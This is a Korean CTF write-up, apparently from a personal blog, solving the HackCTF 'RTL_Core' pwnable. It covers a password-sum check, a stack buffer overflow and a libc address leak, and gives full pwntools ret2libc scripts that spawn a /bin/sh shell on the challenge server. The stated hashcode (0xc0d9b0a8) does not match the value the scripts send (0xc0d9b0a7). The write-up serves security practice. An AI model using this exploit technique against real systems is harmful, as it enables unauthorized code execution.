tmxklab
[HackCTF/Pwnable] RTL_Core 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3015
1) 접속
패스워드 입력을 받고 성공 유무를 출력해준 뒤 프로그램이 종료
2) IDA를 통해 확인
2-1) IDA(Pseudocode)확인 - main()
- gets()로 입력을 받고 입력 값을 check_passcode함수의 인자로 넘겨줘서 hashcode와 비교
- 성공하면 core함수 실행
2-2) IDA(Pseudocode)확인 - core()
- ebp로부터 62bytes떨어진 곳에 buf배열 선언
- void *dlsym(void *handle, const char *symbol) : shared library에 포함된 symbol의 위치에 대한 pointer를 찾음
- 즉, 공유 라이브러리에서 printf함수의 주소 값을 찾아 17번째 줄 printf함수를 통해 출력
- read함수를 통해 buf에 100bytes까지 입력 값을 받을 수 잇음 -> bof취약점 존재
2-3) IDA(Pseudocode)확인 - check_passcode()
- main함수에서 gets함수를 통해 입력받은 값을 인자로 넘겨 받음
- for문에서 5번 반복하면서 인자의 주소를 4bytes까지 증가시키며 v2에 누적시킴
3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
2. 접근방법
1) 먼저, main함수의 if문을 통과하기 위해 hashcode값과 입력 값이 변환된 값과 일치시켜야함
[hashcode확인]
- hashcode : 0xc0d9b0a8
2) check_passcode함수 확인
for문은 5번에 걸쳐 반복되며 일련의 과정(v2+=*(DWORD)(4*i + a1)을 통해 누적된 값을 v2에 저장하여 return시킴
- [ebp-0xc] : 인자 값 위치
- [ebp-0x8] : v2 위치
- [ebp-0x4] : i의 위치
- 41번째 줄 : [인자 값의 주소 값] + i*4의 값을 eax에 저장
- 45번째 줄 : v2의 값 + eax값을 v2에 저장함
- 따라서, 만일 "AAAABBBBCCCCDDDDEEEE"입력을 하면 4bytes씩 끊어서 문자열의 값을 더하므로 0x41414141 + 0x42424242 + 0x43434343 + 0x44444444 + 0x45454545가 된다.
- 그러므로 hashcode의 값을 얻기 위해서 "0xc0d9b0a8" +"0x00000000"*4를 하면 결국 hashcode값이 나오게 된다.
3) 위 사실이 맞는지 검증
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3015)
payload = p32(0xc0d9b0a7)
payload += p32(0)*4
p.recvuntil(":")
p.sendline(payload)
p.interactive()
- 수행 결과
4) core함수의 실행 결과
- hashcode가 일치하면 core함수가 실행되는데 이 때, core함수에서는 printf함수의 주소 값을 출력해줌
- 하지만, 주소 값이 계속 변경됨에 따라 ASLR이 걸려있음을 확인할 수 있다.
4) 결론
- system함수와 "/bin/sh"의 주소 값을 찾아 RTL을 수행해야 하지만 core함수를 반복 실행한 결과를 통해 printf함수의 주소 값이 계속 변경되는 것을 알 수 있음
- 하지만, base주소가 계속 변하여 주소 값이 계속 변경되도 base주소로부터 각 함수들의 offset의 크기는 변함이 없으므로 leak된 printf함수의 주소 값과 libc.so.6의 offset의 차이를 통해 base주소를 찾음
- base주소를 통해 system함수와 "/bin/sh"문자열의 주소를 찾아 RTL수행
3. 풀이
1) leak된 printf함수의 주소와 libc.so.6라이브러리에서 printf함수의 offset을 통해 필요한 주소 찾기
2) buf배열의 위치와 read함수
buf배열은 ebp로부터 62bytes까지 떨어져 있지만 read함수에서는 100bytes까지 입력을 받을 수 있으므로 bof수행이 가능하다.
3) 페이로드 구성
[ dummy(62bytes) ] + [ dummy(4bytes) ] + [ system() ] + [ dummy(4bytes) ] + [ "/bin/sh" ]
4) 공격코드 작성
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3015)
e = ELF("./libc.so.6")
passcode = p32(0xc0d9b0a7)
passcode += p32(0)*4
p.recvuntil(":")
p.sendline(passcode)
p.recvuntil("\n")
p.recv(34)
printf_addr = int(p.recv(10), 16)
print hex(printf_addr)
base = printf_addr - e.symbols['printf']
print hex(base)
system_addr = base + e.symbols['system']
print hex(system_addr)
binsh_addr = base + list(e.search("/bin/sh"))[0]
payload = "A"*66
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
5) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Look at me (0) | 2020.03.07 |
---|---|
[HackCTF/Pwnable] Beginner_Heap (0) | 2020.03.07 |
[HackCTF/Pwnable] Random Key (0) | 2020.02.23 |
[HackCTF/Pwnable] 1996 (0) | 2020.02.23 |
[HackCTF/Pwnable] Poet (0) | 2020.02.22 |